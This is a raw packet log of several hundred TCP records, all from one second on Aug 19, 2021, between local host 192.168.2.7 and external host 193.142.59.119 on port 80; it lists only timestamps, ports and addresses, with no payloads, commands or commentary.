Aug 19, 2021 07:53:39.803312063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803320885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803344011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803354979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803376913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803388119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803410053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803416014 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803442001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803448915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803476095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803494930 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803508043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803510904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803540945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803548098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803572893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803596020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803605080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803615093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803637028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803643942 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803668976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803674936 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803706884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803714991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803740025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803749084 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803788900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803823948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803853989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803864956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803881884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803891897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803910971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803920031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803940058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803956985 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.803972960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.803997040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804019928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804054022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804054976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804085016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804095030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804114103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804122925 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804142952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804153919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804171085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804182053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804199934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804209948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804222107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804246902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804265976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804277897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804289103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804311037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804321051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804343939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804348946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804382086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804392099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804421902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804430962 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804452896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804464102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804481030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804490089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804505110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804538012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804538965 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804555893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804574013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804575920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804606915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804615974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804641962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804646969 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804673910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804682016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804708004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804712057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804740906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804749012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804773092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804775000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804806948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804812908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804837942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804861069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804872990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804876089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804904938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804927111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804949999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804971933 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.804985046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.804987907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805016994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805025101 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805048943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805059910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805082083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805088997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805114031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805119038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805147886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805154085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805181026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805187941 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805214882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805222988 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805247068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805252075 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805279970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805290937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805311918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805320024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805344105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805351973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805376053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805383921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805408001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805416107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805439949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805449009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805483103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805489063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805521965 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805530071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805553913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805562019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805587053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805596113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805619955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805644035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805653095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805665016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805685997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805706978 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805720091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805727005 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805758953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805803061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805833101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805843115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805860996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805869102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805888891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805910110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805917025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805926085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805946112 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805958033 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.805975914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.805998087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806004047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806015015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806032896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806041956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806073904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806077003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806102991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806111097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806130886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806143045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806159973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806171894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806188107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806196928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806217909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806230068 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806245089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806257010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806274891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806283951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806303024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806325912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806330919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806353092 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806359053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806370020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806387901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806396008 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806416035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806427002 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806443930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806452036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806473970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806483030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806503057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806514025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806531906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806541920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806560040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806570053 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806595087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806603909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806658983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806700945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806730986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806752920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806757927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806773901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806788921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806797981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806818962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806838036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806848049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806859016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806878090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806889057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806906939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806915045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806936026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806945086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806963921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.806972027 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.806992054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807008028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807019949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807029963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807049036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807055950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807076931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807087898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807105064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807131052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807147980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807147980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807183027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807212114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807216883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807229042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807243109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807272911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807276964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807302952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807331085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807337999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807358980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807363987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807388067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807399035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807416916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807427883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807445049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807456970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807472944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807482958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807502985 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807512999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807531118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807539940 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807569981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.807588100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.807627916 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826227903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826294899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826328039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826360941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826373100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826404095 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826420069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826462030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826469898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826510906 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826538086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826587915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826678991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826704025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826720953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826749086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826769114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826783895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826797009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826817989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826828957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826850891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826855898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826885939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826894999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826916933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826930046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826946020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826957941 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.826973915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.826987028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827004910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827013016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827037096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827049017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827064991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827070951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827095985 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827107906 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827138901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827156067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827214003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827231884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827235937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827258110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827264071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827276945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827311039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827328920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827353954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827374935 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827385902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827394009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827413082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827429056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827438116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827452898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827462912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827477932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827487946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827496052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827512980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827522993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827538967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827554941 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827565908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827574015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827589989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827613115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827616930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.827627897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.827647924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.828762054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.828804970 CEST	80	49738	193.142.59.119	192.168.2.7
